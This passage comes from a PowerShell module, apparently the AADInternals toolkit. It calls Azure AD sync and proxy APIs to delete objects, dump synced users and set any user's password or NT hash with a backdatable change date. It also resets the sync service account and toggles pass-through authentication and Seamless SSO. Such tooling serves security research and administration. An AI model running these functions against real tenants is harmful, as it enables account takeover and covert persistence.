# Accept only three loops
if($Recursion -gt 3)
{
throw "Too many recursions"
}
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body block
$body=@"
<ProvisionAzureADSyncObjects xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">
<syncRequest xmlns:b="http://schemas.microsoft.com/online/aws/change/2014/06" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
<b:SyncObjects>
<b:AzureADSyncObject>
<b:PropertyValues xmlns:c="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
$(Add-PropertyValue "SourceAnchor" $sourceAnchor)
$(Add-PropertyValue "CloudAnchor" $cloudAnchor)
</b:PropertyValues>
<b:SyncObjectType>$ObjectType</b:SyncObjectType>
<b:SyncOperation>Delete</b:SyncOperation>
</b:AzureADSyncObject>
</b:SyncObjects>
</syncRequest>
</ProvisionAzureADSyncObjects>
"@
$Message_id=(New-Guid).ToString()
$Command="ProvisionAzureADSyncObjects"
$serverName=$aadsync_server
$envelope = Create-SyncEnvelope -AccessToken $AccessToken -Command $Command -Message_id $Message_id -Body $body -Binary -Server $serverName
# Call the API
$response=Call-ADSyncAPI $envelope -Command "$Command" -Tenant_id (Read-AccessToken($AccessToken)).tid -Message_id $Message_id -Server $serverName
# Convert binary response to XML
$xml_doc=BinaryToXml -xml_bytes $response -Dictionary (Get-XmlDictionary -Type WCF)
if(IsRedirectResponse($xml_doc))
{
return Remove-AzureADObject -AccessToken $AccessToken -Recursion ($Recursion+1) -sourceAnchor $sourceAnchor -ObjectType $ObjectType
}
# Return
$xml_doc.Envelope.Body.ProvisionAzureADSyncObjectsResponse.ProvisionAzureADSyncObjectsResult.SyncObjectResults.AzureADSyncObjectResult
}
}
# Finalize Azure AD Sync
function Finalize-Export
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[int]$Count=1,
[Parameter(Mandatory=$False)]
[int]$Recursion=1
)
Process
{
# Accept only three loops
if($Recursion -gt 3)
{
throw "Too many recursions"
}
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body block
$body=@"
<FinalizeExport xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">
<totalExported>$count</totalExported>
<successfulExportCount>$count</successfulExportCount>
</FinalizeExport>
"@
$Message_id=(New-Guid).ToString()
$Command="FinalizeExport"
$serverName=$aadsync_server
$envelope = Create-SyncEnvelope -AccessToken $AccessToken -Command $Command -Message_id $Message_id -Body $body -Binary -Server $serverName
# Call the API
$response=Call-ADSyncAPI $envelope -Command "$Command" -Tenant_id (Parse-AccessToken($AccessToken)).tid -Message_id $Message_id -Server $serverName
# Convert binary response to XML
$xml_doc=BinaryToXml -xml_bytes $response -Dictionary (Get-XmlDictionary -Type WCF)
if(IsRedirectResponse($xml_doc))
{
return Finalize-Export -Count $Count -AccessToken $AccessToken -Recursion ($Recursion+1)
}
else
{
return $xml_doc
}
}
}
# Get sync objects from Azure AD
function Get-SyncObjects
{
<#
.SYNOPSIS
Gets tenant's synchronized objects
.DESCRIPTION
Gets tenant's synchronized objects using Azure AD Sync API
.Parameter AccessToken
Access Token
.Parameter Version
Version number of AD Sync, defaults to 2. Version 2 returns only non-empty attributes and is thus much more efficient.
.Example
Get-AADIntSyncObjects -AccessToken $at -Version 1
AccountEnabled : true
Alias :
City :
CloudAnchor : User_64c6616b-f961-4882-a03e-9209d01711aa
CloudLegacyExchangeDN : /o=ExchangeLabs/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=7e07ff8b-5d1c-4319-b608-c371914fbd99-Megan Bowen
CloudMSExchArchiveStatus :
CloudMSExchBlockedSendersHash :
CloudMSExchRecipientDisplayType : 1073741824
CloudMSExchSafeRecipientsHash :
CloudMSExchSafeSendersHash :
CloudMSExchTeamMailboxExpiration :
CloudMSExchTeamMailboxSharePointUrl :
CloudMSExchUCVoiceMailSettings :
CloudMSExchUserHoldPolicies :
CloudMastered : false
CommonName : Megan Bowen
Company :
Country :
CountryCode : 0
CountryLetterCode :
Department :
Description :
DisplayName : Megan Bowen
DnsDomainName : company.com
...
.Example
Get-AADIntSyncObjects -AccessToken $at
AccountEnabled : true
CloudAnchor : User_64c6616b-f961-4882-a03e-9209d01711aa
CloudLegacyExchangeDN : /o=ExchangeLabs/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=7e07ff8b-5d1c-4319-b608-c371914fbd99-Megan Bowen
CloudMSExchRecipientDisplayType : 1073741824
CloudMastered : false
CommonName : Megan Bowen
CountryCode : 0
DisplayName : Megan Bowen
DnsDomainName : company.com
GivenName : Megan
LastPasswordChangeTimestamp : 20190801164342.0Z
NetBiosName : COMPANY
OnPremiseSecurityIdentifier :
OnPremisesDistinguishedName : CN=Megan Bowen,OU=Domain Users,DC=company,DC=com
OnPremisesSamAccountName : MeganB
SourceAnchor :
Surname : Bowen
SyncObjectType : User
SyncOperation : Set
UsageLocation : US
UserPrincipalName : [email protected]
UserType : Member
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[int]$Recursion=1,
[Parameter(Mandatory=$False)]
[ValidateSet(1,2)]
[Int]$Version=2,
[Parameter(Mandatory=$False)]
[bool]$FullSync=$true
)
Process
{
# Accept only three loops
if($Recursion -gt 3)
{
throw "Too many recursions"
}
# Check the version
if($Version -eq 2)
{
$txtVer = $Version.ToString()
}
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body block
$body=@"
<ReadBackAzureADSyncObjects$txtVer xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">
<includeLicenseInformation>true</includeLicenseInformation>
<inputCookie i:nil="true" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"></inputCookie>
<isFullSync>$($FullSync.toString().toLower())</isFullSync>
</ReadBackAzureADSyncObjects$txtVer>
"@
$Message_id=(New-Guid).ToString()
$Command="ReadBackAzureADSyncObjects$txtVer"
$serverName=$Script:aadsync_server
$envelope = Create-SyncEnvelope -AccessToken $AccessToken -Command $Command -Message_id $Message_id -Body $body -Binary -Server $serverName
# Call the API
$response=Call-ADSyncAPI $envelope -Command "$Command" -Tenant_id (Read-AccessToken($AccessToken)).tid -Message_id $Message_id -Server $serverName
# Convert binary response to XML
$xml_doc=BinaryToXml -xml_bytes $response -Dictionary (Get-XmlDictionary -Type WCF)
if(IsRedirectResponse($xml_doc))
{
return Get-SyncObjects -AccessToken $AccessToken -Recursion ($Recursion+1) -Version $Version
}
else
{
# Create a return object
if($Version -eq 2)
{
$res=$xml_doc.Envelope.Body.ReadBackAzureADSyncObjects2Response.ReadBackAzureADSyncObjects2Result
}
else
{
$res=$xml_doc.Envelope.Body.ReadBackAzureADSyncObjectsResponse.ReadBackAzureADSyncObjectsResult
}
# Loop through objects
foreach($obj in $res.ResultObjects.AzureADSyncObject)
{
$details=@{}
$details.SyncObjectType=$obj.SyncObjectType
$details.SyncOperation=$obj.SyncOperation
# Loop through all key=value pairs
foreach($kv in $obj.PropertyValues.KeyValueOfstringanyType)
{
$details[$kv.Key]=$kv.value.'#text'
}
# Return
New-Object -TypeName PSObject -Property $details
}
}
}
}
# Set's user's password
function Set-UserPassword
{
<#
.SYNOPSIS
Sets the password of the given user
.DESCRIPTION
Sets the password of the given user using Azure AD Sync API. If the Result is 0, the change was successful.
Requires that Directory Synchronization is enabled for the tenant!
.Parameter AccessToken
Access Token
.Parameter SourceAnchor
User's source anchor (ImmutableId)
.Parameter CloudAnchor
User's cloud anchor "<Type>_<objectid>". For example "User_60f87269-f258-4473-8cca-267b50110e7a"
.Parameter Password
User's new password
.Parameter ChangeDate
Time of the password change. Can be now or in the past.
.Parameter Iterations
The number of iterations of pbkdf2. Defaults to 1000.
.Parameter IncludeLegacy
Include windowsLegacyCredentials, i.e., NTHash. If certificate not provided, tries to get one from Azure AD
.Parameter PfxFileName
Name of windowsLegacyCredentials encryption certificate
.Parameter PfxPassword
Password of windowsLegacyCredentials encryption certificate
.Example
Set-AADIntUserPassword -SourceAnchor "Vvl6blILG0/Cr/8TWOe9pg==" -Password "MyPassword" -ChangeDate ((Get-Date).AddYears(-1))
CloudAnchor Result SourceAnchor
----------- ------ ------------
CloudAnchor 0 Vvl6blILG0/Cr/8TWOe9pg==
.Example
Set-AADIntUserPassword -CloudAnchor "User_60f87269-f258-4473-8cca-267b50110e7a" -Password "MyPassword" -ChangeDate ((Get-Date).AddYears(-1))
CloudAnchor Result SourceAnchor
----------- ------ ------------
User_60f87269-f258-4473-8cca-267b50110e7a 0 SourceAnchor
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(ParameterSetName='Cloud', Mandatory=$True)]
[String]$CloudAnchor,
[Parameter(ParameterSetName='Source', Mandatory=$True)]
[String]$SourceAnchor,
[Parameter(ParameterSetName='UPN', Mandatory=$True)]
[String]$UserPrincipalName,
[Parameter(Mandatory=$False)]
[String]$Password,
[Parameter(Mandatory=$False)]
[String]$Hash,
[switch]$IncludeLegacy,
[Parameter(Mandatory=$False)]
[DateTime]$ChangeDate=(Get-Date),
[Parameter(Mandatory=$False)]
[int]$Recursion=1,
[parameter(Mandatory=$false)]
[int]$Iterations=1000,
# Legacy credentials encryption certificate
[Parameter(Mandatory=$False)]
[string]$PfxFileName,
[Parameter(Mandatory=$False)]
[string]$PfxPassword
)
Process
{
# Password or Hash must be given
if([string]::IsNullOrEmpty($Password) -and [string]::IsNullOrEmpty($Hash))
{
throw "Password or Hash must be given!"
}
# Accept only three loops
if($Recursion -gt 3)
{
throw "Too many recursions"
}
# Warn once about iterations over 1000
if($Recursion -eq 1 -and $Iterations -gt 1000)
{
Write-Warning "Iterations more than 1000, login may not work correctly!"
}
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# If the UserPrincipalName is given, get the user's cloudAnchor
if($UserPrincipalName)
{
$user = Get-User -AccessToken $AccessToken -UserPrincipalName $UserPrincipalName
$CloudAnchor="User_$($user.ObjectId)"
}
if($Password)
{
$Hash = (Get-MD4 -bArray ([System.Text.UnicodeEncoding]::Unicode.GetBytes($password))).ToUpper()
}
# Create AAD hash
$CredentialData = Create-AADHash -Hash $Hash -Iterations $Iterations
# Create Windows Legacy Credentials blob
if($IncludeLegacy)
{
# Load the certificate
if(![string]::IsNullOrEmpty($PfxFileName))
{
$certificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword
}
# Get the encryption certificate if not provided
else
{
$DCaaSConfig = Get-WindowsCredentialsSyncConfig -AccessToken $AccessToken
if(-not $DCaaSConfig.Certificate)
{
Write-Warning "Could not get encryption certificate. Is AADDS enabled for the tenant?"
}
else
{
$certificate = $DCaaSConfig.Certificate
}
}
Write-Verbose "Encrypting with certificate: $($certificate.Thumbprint) $($certificate.Subject)"
# Create the NTHash blob
$NTHashBlob = @(0x5A,0x00,0x09,0x00, # Ref: https://github.com/mubix/ntds_decode/blob/master/attributes.h#L3048
# 0x09005A = 589914 = ATT_UNICODE_PWD / unicodePwd
0x10,0x00,0x00,0x00 # Size of the hash in bytes? 0x10 = 16 bytes
)+ (Convert-HexToByteArray -HexString $Hash)
# Encrypt the blob
$ADAuthInfo = Protect-ADAuthInfo -Data $NTHashBlob -Certificate $certificate
$windowsLegacyCredentials = Convert-ByteArrayToB64 -Bytes $ADAuthInfo
}
# Create the body block
$body=@"
<ProvisionCredentials xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">
<request xmlns:b="http://schemas.datacontract.org/2004/07/Microsoft.Online.Coexistence.Schema" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
<b:RequestItems>
<b:SyncCredentialsChangeItem>
<b:ChangeDate>$($ChangeDate.ToUniversalTime().ToString("o"))</b:ChangeDate>
$(if($CloudAnchor){"<b:CloudAnchor>$CloudAnchor</b:CloudAnchor>"}else{"<b:CloudAnchor i:nil=""true""/>"})
<b:CredentialData>$CredentialData</b:CredentialData>
<b:ForcePasswordChangeOnLogon>false</b:ForcePasswordChangeOnLogon>
$(if($SourceAnchor){"<b:SourceAnchor>$SourceAnchor</b:SourceAnchor>"}else{"<b:SourceAnchor i:nil=""true""/>"})
$(if($windowsLegacyCredentials){"<b:WindowsLegacyCredentials>$windowsLegacyCredentials</b:WindowsLegacyCredentials>"}else{"<b:WindowsLegacyCredentials i:nil=""true""/>"})
<b:WindowsSupplementalCredentials i:nil="true"/>
</b:SyncCredentialsChangeItem>
</b:RequestItems>
</request>
</ProvisionCredentials>
"@
$Message_id=(New-Guid).ToString()
$Command="ProvisionCredentials"
$serverName=$Script:aadsync_server
$envelope = Create-SyncEnvelope -AccessToken $AccessToken -Command $Command -Message_id $Message_id -Body $body -Binary -Server $serverName
# Call the API
$response=Call-ADSyncAPI $envelope -Command "$Command" -Tenant_id (Read-AccessToken($AccessToken)).tid -Message_id $Message_id -Server $serverName
# Convert binary response to XML
$xml_doc=BinaryToXml -xml_bytes $response -Dictionary (Get-XmlDictionary -Type WCF)
if(IsRedirectResponse($xml_doc))
{
return Set-UserPassword -AccessToken $AccessToken -Recursion ($Recursion+1) -SourceAnchor $SourceAnchor -Password $Password -ChangeDate $ChangeDate -Iterations $Iterations
}
else
{
# Return
return $xml_doc.Envelope.Body.ProvisionCredentialsResponse.ProvisionCredentialsResult.Results.SyncCredentialsChangeResult
}
}
}
# Creates or reset service account
function Reset-ServiceAccount
{
<#
.SYNOPSIS
Create or reset Azure AD Connect sync service account.
.DESCRIPTION
Creates a new user account for Azure AD Connect sync service OR resets existing user's password.
The created user will have DirecotrySynchronizationAccount role.
.Parameter AccessToken
Access Token
.Parameter ServiceAccount
Name of the service account to be created.
.Example
Reset-AADIntServiceAccount -AccessToken $at -ServiceAccount myserviceaccount
Password UserName
-------- --------
s@S)uv_?*!IBsu%- [email protected]
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$ServiceAccount,
[Parameter(Mandatory=$False)]
[int]$Recursion=1
)
Process
{
# Accept only three loops
if($Recursion -gt 3)
{
throw "Too many recursions"
}
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body block
$body=@"
<GetServiceAccount xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">
<identifier>$ServiceAccount</identifier>
</GetServiceAccount>
"@
$Message_id=(New-Guid).ToString()
$Command="GetServiceAccount"
$serverName=$Script:aadsync_server
$envelope = Create-SyncEnvelope -AccessToken $AccessToken -Command $Command -Message_id $Message_id -Body $body -Binary -Server $serverName
# Call the API
$response=Call-ADSyncAPI $envelope -Command "$Command" -Tenant_id (Read-AccessToken($AccessToken)).tid -Message_id $Message_id -Server $serverName
# Convert binary response to XML
$xml_doc=BinaryToXml -xml_bytes $response -Dictionary (Get-XmlDictionary -Type WCF)
if(IsRedirectResponse($xml_doc))
{
return Get-ServiceAccount -AccessToken $AccessToken -Recursion ($Recursion+1) -ServiceAccount $ServiceAccount
}
else
{
# Return
$retval = $xml_doc.Envelope.Body.GetServiceAccountResponse.GetServiceAccountResult
if($retval -eq $null)
{
return $xml_doc.Envelope.Body.Fault.Reason.Text.'#text'
}
else
{
# Create and return response object
$Attributes = @{
UserName = $retval.UserName
Password = $retval.Password
}
return New-Object -TypeName psobject -Property $Attributes
}
}
}
}
# Enable or disable pass-through authentication
function Set-PassThroughAuthenticationEnabled
{
<#
.SYNOPSIS
Enables or disables passthrough authentication (PTA).
.DESCRIPTION
Enables or disables passthrough authentication (PTA) using msapproxy.net api.
.Parameter AccessToken
Access Token.
.Parameter Enabled
Whether to enable or disable PTA.
.Example
PS C:\>$cred=Get-Credential
PS C:\>$pt=Get-AADIntAccessTokenForPTA -Credentials $cred
PS C:\>Set-AADIntPassThroughAuthentication -AccessToken $pt -Enable $true
IsSuccesful Enable Exists
----------- ------ ------
true true true
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[bool]$Enable
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "cb1056e2-e479-49de-ae31-7812af012ed8" -Resource "https://proxy.cloudwebappproxy.net/registerapp"
# Create the body block
$body=@"
<PassthroughAuthenticationEnablementRequest xmlns="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.RegistrationCommons.Registration" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
<AuthenticationToken xmlns="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.Security.AadSecurity">$AccessToken</AuthenticationToken>
<Enable>$($Enable.ToString().ToLower())</Enable>
<SkipExoEnablement>false</SkipExoEnablement>
<UserAgent>AADConnect/1.1.882.0 PassthroughAuthenticationConnector/1.5.405.0</UserAgent>
</PassthroughAuthenticationEnablementRequest>
"@
$tenant_id = Get-TenantId -AccessToken $AccessToken
# Call the api
$response=Invoke-RestMethod -UseBasicParsing -Uri "https://$tenant_id.registration.msappproxy.net/register/EnablePassthroughAuthentication" -Method Post -ContentType "application/xml; charset=utf-8" -Body $body
if($response.PassthroughAuthenticationRequestResult.ErrorMessage)
{
Write-Error $response.PassthroughAuthenticationRequestResult.ErrorMessage
}
# Create and return the response object
$attributes=@{
IsSuccesful = $response.PassthroughAuthenticationRequestResult.IsSuccessful
Enable = $response.PassthroughAuthenticationRequestResult.Enable
Exists = $response.PassthroughAuthenticationRequestResult.Exists
}
return New-Object -TypeName psobject -Property $Attributes
}
}
# Aug 21st 2019
function Get-DesktopSSO
{
<#
.SYNOPSIS
Returns the status of Seamless SSO status
.DESCRIPTION
Returns the status of Seamless SSO status
.Parameter AccessToken
Access Token.
.Example
PS C:\>$cred=Get-Credential
PS C:\>$pt=Get-AADIntAccessTokenForPTA -Credentials $cred
PS C:\>Get-AADIntSeamlessSSO -AccessToken $pt
Domains : company.com
Enable : True
ErrorMessage :
Exists : True
IsSuccessful : True
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "cb1056e2-e479-49de-ae31-7812af012ed8" -Resource "https://proxy.cloudwebappproxy.net/registerapp"
$tenantId = (Read-Accesstoken $AccessToken).tid
$url="https://$tenantId.registration.msappproxy.net/register/GetDesktopSsoStatus"
$body=@"
<TokenAuthenticationRequest xmlns="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.Security.AadSecurity" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
<AuthenticationToken>$AccessToken</AuthenticationToken>
</TokenAuthenticationRequest>
"@
$results=Invoke-RestMethod -UseBasicParsing -Uri $url -Body $body -Method Post -ContentType "application/xml; charset=utf-8"
$attributes=@{
"ErrorMessage" = $results.DesktopSsoStatusResult.ErrorMessage
"IsSuccessful" = $($results.DesktopSsoStatusResult.IsSuccessful -eq "true")
"Enabled" = $($results.DesktopSsoStatusResult.Enable -eq "true")
"Exists" = $($results.DesktopSsoStatusResult.Exists -eq "true")
"Domains" = $results.DesktopSsoStatusResult.domains.string
}
return New-Object -TypeName PSObject -Property $attributes
}
}
# Aug 21st 2019
function Set-DesktopSSO
{
<#
.SYNOPSIS
Enables or disables Seamless SSO for the given domain
.DESCRIPTION
Enables or disables Seamless SSO for the given domain
.Parameter AccessToken
Access Token.
.Example
PS C:\>$cred=Get-Credential
PS C:\>$pt=Get-AADIntAccessTokenForPTA -Credentials $cred
PS C:\>Set-AADIntDesktopSSO -AccessToken $pt -DomainName "company.net" -Password "MySecretPassWord"
IsSuccessful ErrorMessage
------------ ------------
True
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[String]$ComputerName="AZUREADSSOACC",
[Parameter(Mandatory=$True)]
[String]$DomainName,
[Parameter(Mandatory=$False)]
[Bool]$Enable=$True,
[Parameter(Mandatory=$True)]
[String]$Password
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "cb1056e2-e479-49de-ae31-7812af012ed8" -Resource "https://proxy.cloudwebappproxy.net/registerapp"
$tenantId = (Read-Accesstoken $AccessToken).tid
$url="https://$tenantId.registration.msappproxy.net/register/EnableDesktopSso"
$body=@"
<DesktopSsoRequest xmlns="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.RegistrationCommons.Registration" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
<AuthenticationToken xmlns="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.Security.AadSecurity">$AccessToken</AuthenticationToken>
<ComputerName>$ComputerName</ComputerName>
<DomainName>$DomainName</DomainName>
<Enable>$($Enable.ToString().ToLower())</Enable>
<Secret>$([System.Security.SecurityElement]::Escape($Password))</Secret>
</DesktopSsoRequest>
"@
$results=Invoke-RestMethod -UseBasicParsing -Uri $url -Body $body -Method Post -ContentType "application/xml; charset=utf-8"
$attributes=@{
"ErrorMessage" = $results.DesktopSsoEnablementResult.ErrorMessage
"IsSuccessful" = $($results.DesktopSsoEnablementResult.IsSuccessful -eq "true")
}
$setPwd=Read-Host -Prompt "Would you like to set the password of computer account $ComputerName to `"$Password`" also in your ON-PREM ACTIVE DIRECTORY (yes/no)?"
if($setPwd -eq "yes")
{
try
{
$computer = Get-ADComputer $ComputerName
Set-ADAccountPassword -Identity $computer.DistinguishedName -NewPassword (ConvertTo-SecureString -AsPlainText $Password -Force)
# TGT ticket can be alive for a week..
Write-Warning "Password set for $ComputerName. The Kerberos Key Distribution Center should be restarted for the change to take effect."
}
catch
{
Write-Error "Could not set password for $ComputerName! Set it manually using Set-ADAccountPassword -Identity $($computer.DistinguishedName) -NewPassword (ConvertTo-SecureString -AsPlainText `"$Password`" -Force)"
}
}
else
{
# If not set, users won't be able to login..
Write-Warning "Password NOT set for $ComputerName! Set it manually to `"$Password`" and restart Kerberos Key Distribution Center for the change to take effect."
}
return New-Object -TypeName PSObject -Property $attributes
}
}
# Aug 21st 2019
function Set-DesktopSSOEnabled
{
<#
.SYNOPSIS
Enables or disables Seamless SSO
.DESCRIPTION
Enables or disables Seamless SSO
.Parameter AccessToken
Access Token.
.Example
PS C:\>Get-AADIntAccessTokenForPTA -SaveToCache
PS C:\>Set-AADIntDesktopSSOEnabled -Enable $true
Domains : company.com
Enabled : True
ErrorMessage :
Exists : True
IsSuccessful : True
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[Bool]$Enable=$True
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "cb1056e2-e479-49de-ae31-7812af012ed8" -Resource "https://proxy.cloudwebappproxy.net/registerapp"
$tenantId = (Read-Accesstoken $AccessToken).tid
$url="https://$tenantId.registration.msappproxy.net/register/EnableDesktopSsoFlag"
$body=@"
<DesktopSsoEnablementRequest xmlns="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.RegistrationCommons.Registration" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
<AuthenticationToken xmlns="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.Security.AadSecurity">$AccessToken</AuthenticationToken>
<Enable>$($Enable.ToString().ToLower())</Enable>
</DesktopSsoEnablementRequest >
"@
$results=Invoke-RestMethod -UseBasicParsing -Uri $url -Body $body -Method Post -ContentType "application/xml; charset=utf-8"
$attributes=@{
"ErrorMessage" = $results.DesktopSsoEnablementResult.ErrorMessage
"IsSuccessful" = $($results.DesktopSsoEnablementResult.IsSuccessful -eq "true")
}
return New-Object -TypeName PSObject -Property $attributes
}
}
# Gets the kerberos domain sync configuration
# May 11th 2020
function Get-KerberosDomainSyncConfig
{
<#
.SYNOPSIS
Gets tenant's Kerberos domain sync configuration
.DESCRIPTION
Gets tenant's Kerberos domain sync configuration using Azure AD Sync API
.Parameter AccessToken
Access Token
.Example
Get-AADIntKerberosDomainSyncConfig
PublicEncryptionKey SecuredEncryptionAlgorithm SecuredKeyId SecuredPartitionId
------------------- -------------------------- ------------ ------------------
RUNLMSAAAABOD8OPj7I3nfeuh7ELE47OtA3yvyryQ0wamf5jPy2uGKibaTRKJd/kFexTpJ8siBxszKCXC2sn1Fd9pEG2y7fu 5 2 15001
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[int]$Recursion=1
)
Process
{
# Accept only three loops
if($Recursion -gt 3)
{
throw "Too many recursions"
}
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body block
$body=@"
<GetKerberosDomainSyncConfig xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">
</GetKerberosDomainSyncConfig>
"@
$Message_id=(New-Guid).ToString()
$Command="GetKerberosDomainSyncConfig"
$serverName=$Script:aadsync_server
$envelope = Create-SyncEnvelope -AccessToken $AccessToken -Command $Command -Message_id $Message_id -Body $body -Binary -Server $serverName
# Call the API
$response=Call-ADSyncAPI $envelope -Command "$Command" -Tenant_id (Read-AccessToken($AccessToken)).tid -Message_id $Message_id -Server $serverName
# Convert binary response to XML
$xml_doc=BinaryToXml -xml_bytes $response -Dictionary (Get-XmlDictionary -Type WCF)
if(IsRedirectResponse($xml_doc))
{
return Get-KerberosDomainSyncConfig -AccessToken $AccessToken -Recursion ($Recursion+1)
}
else
{
# Create a return object
$res=$xml_doc.Envelope.Body.GetKerberosDomainSyncConfigResponse.GetKerberosDomainSyncConfigResult
$attributes=[ordered]@{
"PublicEncryptionKey" = $res.PublicEncryptionKey
"SecuredEncryptionAlgorithm" = $res.SecuredEncryptionAlgorithm
"SecuredKeyId" = $res.SecuredKeyId
"SecuredPartitionId" = $res.SecuredPartitionId
}
return New-Object psobject -Property $attributes
}
}
}
# Gets the kerberos domain
# May 11th 2020
function Get-KerberosDomain
{
<#
.SYNOPSIS
Gets the kerberos domain information.
.DESCRIPTION
Gets the kerberos domain information.
.Parameter AccessToken
Access Token
.Parameter DomaiName
Domain name
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$DomainName,
[Parameter(Mandatory=$False)]
[int]$Recursion=1
)
Process
{
# Accept only three loops
if($Recursion -gt 3)
{
throw "Too many recursions"
}
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body block
$body=@"
<GetKerberosDomain xmlns="http://schemas.microsoft.com/online/aws/change/2010/01" i:nil="true" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
<dnsDomainName>$DomainName</dnsDomainName>
</GetKerberosDomain>
"@
$Message_id=(New-Guid).ToString()
$Command="GetKerberosDomain"
$serverName=$Script:aadsync_server
$envelope = Create-SyncEnvelope -AccessToken $AccessToken -Command $Command -Message_id $Message_id -Body $body -Binary -Server $serverName
# Call the API
$response=Call-ADSyncAPI $envelope -Command "$Command" -Tenant_id (Read-AccessToken($AccessToken)).tid -Message_id $Message_id -Server $serverName
# Convert binary response to XML
$xml_doc=BinaryToXml -xml_bytes $response -Dictionary (Get-XmlDictionary -Type WCF)
if(IsRedirectResponse($xml_doc))
{
return Get-KerberosDomain -AccessToken $AccessToken -Recursion ($Recursion+1) -DomainName $DomainName
}
else
{
# Create a return object
$res=$xml_doc.Envelope.Body.GetKerberosDomainSyncConfigResponse.GetKerberosDomainSyncConfigResult
$attributes=[ordered]@{
"PublicEncryptionKey" = $res.PublicEncryptionKey
"SecuredEncryptionAlgorithm" = $res.SecuredEncryptionAlgorithm
"SecuredKeyId" = $res.SecuredKeyId
"SecuredPartitionId" = $res.SecuredPartitionId
}
return New-Object psobject -Property $attributes
}
}
}
# Gets monitoring tenant certificate. No idea what this is..
# May 11th 2020
function Get-MonitoringTenantCertificate
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[int]$Recursion=1
)
Process
{
# Accept only three loops
if($Recursion -gt 3)
{
throw "Too many recursions"
}
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body block
$body=@"
<GetMonitoringTenantCertificate xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">
</GetMonitoringTenantCertificate>
"@
$Message_id=(New-Guid).ToString()
$Command="GetMonitoringTenantCertificate"
$serverName=$Script:aadsync_server
$envelope = Create-SyncEnvelope -AccessToken $AccessToken -Command $Command -Message_id $Message_id -Body $body -Binary -Server $serverName
# Call the API
$response=Call-ADSyncAPI $envelope -Command "$Command" -Tenant_id (Read-AccessToken($AccessToken)).tid -Message_id $Message_id -Server $serverName
# Convert binary response to XML
